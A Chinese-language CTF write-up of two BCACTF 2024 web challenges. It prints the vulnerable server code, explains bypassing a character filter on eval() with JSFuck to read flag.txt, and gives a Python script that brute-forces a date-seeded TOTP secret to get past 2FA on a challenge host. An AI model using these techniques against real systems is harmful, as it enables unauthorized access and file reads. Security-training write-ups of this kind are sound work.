[BCACTF 2024]JSLearning.com
后端代码
import express from 'npm:express@4.18.2'
const app = express();
const flag = Deno.readTextFileSync('flag.txt')
app.use(express.text())
app.use("/", express.static("static"));
app.post("/check", (req, res) => {
let d = req.body;
let out = "";
for (let i of ["[", "]", "(", ")", "+", "!"]) {
d = d.replaceAll(i, "");
}
if (d.trim().length) {
res.send("ERROR: disallowed characters. Valid characters: '[', ']', '(', ')', '+', and '!'.");
return;
}
let c;
try {
c = eval(req.body).toString();
} catch (e) {
res.send("An error occurred with your code.");
return
}
// disallow code execution
try {
if (typeof (eval(c)) === "function") {
res.send("Attempting to abuse javascript code against jslearning.site is not allowed under our terms and conditions.");
return
}
} catch (e) { }
out += "Checking the string " + c + "...|";
if (c === "fun") {
out += 'Congratulations! You win the level!';
} else {
out += "Unfortunately, you are incorrect. Try again.";
}
res.send(out);
});
const server = app.listen(0, () => console.log(server.address().port))
我们可以看到其主要限制为只允许存在字符’[‘, ‘]’, ‘(‘, ‘)’, ‘+’, 和 ‘!’。
所以我们可以使用js fuck代码
读取flag的代码也给了Deno.readTextFileSync('flag.txt')直接输入就能得到


[BCACTF 2024]MOC, Inc.
题目描述
Towards the end of last month, we started receiving reports about
suspicious activity coming from a company called MOC, Inc. Our
investigative team has tracked down their secret company portal and
cracked the credentials to the admin account, but could not bypass
the advanced 2FA system. Can you find your way in?
username: admin
password: admin
思路
题目url:https://www.nssctf.cn/problem/6976
后端:
from flask import Flask, request, render_template
import datetime
import sqlite3
import random
import pyotp
import sys
random.seed(datetime.datetime.today().strftime('%Y-%m-%d'))
app = Flask(__name__)
@app.get('/')
def index():
return render_template('index.html')
@app.post('/')
def log_in():
with sqlite3.connect('moc-inc.db') as db:
result = db.cursor().execute(
'SELECT totp_secret FROM user WHERE username = ? AND password = ?',
(request.form['username'], request.form['password'])
).fetchone()
if result == None:
return render_template('portal.html', message='Invalid username/password.')
totp = pyotp.TOTP(result[0])
if totp.verify(request.form['totp']):
with open('../flag.txt') as file:
return render_template('portal.html', message=file.read())
return render_template('portal.html', message='2FA code is incorrect.')
with sqlite3.connect('moc-inc.db') as db:
db.cursor().execute('''CREATE TABLE IF NOT EXISTS user (
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
totp_secret TEXT NOT NULL
)''')
db.commit()
if __name__ == '__main__':
if len(sys.argv) == 3:
SECRET_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
totp_secret = ''.join([random.choice(SECRET_ALPHABET) for _ in range(20)])
with sqlite3.connect('moc-inc.db') as db:
db.cursor().execute('''INSERT INTO user (
username,
password,
totp_secret
) VALUES (?, ?, ?)''', (sys.argv[1], sys.argv[2], totp_secret))
db.commit()
print('Created user:')
print(' Username:\t' + sys.argv[1])
print(' Password:\t' + sys.argv[2])
print(' TOTP Secret:\t' + totp_secret)
exit(0)
app.run()
漏洞主要在于totp_secret可以被爆破出来,因为datetime.datetime.today().strftime('%Y-%m-%d')返回的是类似与2026-04-24的值
那么这个比赛是2024的,所以我们可以直接爆破月和日,写个脚本就行大小也不大
payload
import random
import pyotp
import sys
import requests
url = "http://node1.anna.nssctf.cn:24062/"
for i in range(12):
for j in range(31):
date= '2024-{:02d}-{:02d}'.format(i+1, j+1)
random.seed(date)
SECRET_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
totp_secret = ''.join([random.choice(SECRET_ALPHABET) for _ in range(20)])
totp = pyotp.TOTP(totp_secret)
data = {
"username": "admin",
"password": "admin",
"totp": totp.now()
}
response = requests.post(url, data=data)
if "NSSCTF" in response.text:
print(response.text)
sys.exit(0)
if "incorrect" not in response.text:
print("Unexpected response:", response.text)

